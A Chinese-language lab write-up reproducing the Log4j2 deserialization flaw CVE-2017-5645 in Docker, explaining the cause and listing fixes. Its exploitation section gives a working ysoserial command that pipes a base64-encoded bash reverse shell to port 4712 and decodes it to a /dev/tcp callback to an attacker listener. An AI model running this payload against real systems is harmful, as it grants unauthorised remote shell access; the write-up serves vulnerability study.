CVE-2017-5645(使用 docker 搭建)

发布于:2025-03-17 ⋅ 阅读:(9) ⋅ 点赞:(0)

介绍:

是一个与 Apache Log4j2 相关的安全漏洞,属于远程代码执行,它可能允许攻击者通过构造恶意的日志信息 在目标系统上执行任意代码

Log4j2 介绍

Log4j2 是 Apache 的一个日志记录工具,属于 Java 应用的日志框架,它是 Log4j 的升级版,性能更好,功能更多.它被广泛的适用于 Java 应用程序中,帮助开发者记录程序运行的时候的日子信息,是 Java 生态系统中最重要的一个日志框架之一

  • 漏洞编号: CVE-2017-5645
  • 漏洞类型:远程代码执行(RCE)
  • 收影响组件:Apache log4j
  • 漏洞触发原理:
    • Log4j2 支持通过 SocketAppender 或者 SocketHubAppender 接受远程日志信息
    • 在处理这些日志信息的时候 Log4j2 会对信息进行反序列化操作
    • 由于未对反序列化数据进行检查,攻击者可以构造恶意的序列化对象,嵌入恶意代码
    • 当系统中处理这些恶意日志消息的时候,会触发反序列漏洞,从而导致任意代码执行
  • 漏洞利用:

    • 环境起来以后将会在 4712 端口开一个 tcp 服务,使用ysoserial生成 payload 发送到 4712 端口即可!

ysoserial 介绍

ysoserial 是一个用于生成 Java 反序列化漏洞利用代码的开源工具

 工具地址:
https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

    • 直接利用 4712 端口的 TCP 服务反弹 shell 即可
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.100.102 4712

详细介绍

使用base64解码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx

结果为:bash -i >& /dev/tcp/192.168.12.8/1234 0>&1

bash -i 是一个启动交互式的 bashh shell

>& /dev/tcp/..... 将 shell 的输入/输出重定向到 Tcp 套接字

0>&1 将标准输入(文件描述 0)和标准输出(文件描述 1)合并,并且实现双向通信

这里可以看到,反弹shell 直接拿下!

  • 修复建议:
    • 升级到安全版本,升级到 log4j 2.8.2 或者更高的版本
    • 禁用反序列化功能
      • 如果无法立即升级,可以通过配置 log4j 的反序列化功能
    • 限制网络访问
    • 监控日志分析

总结:

要理解原理,理解原理之后再去复现就会有更加深入的理解!


网站公告

今日签到

点亮在社区的每一天
去签到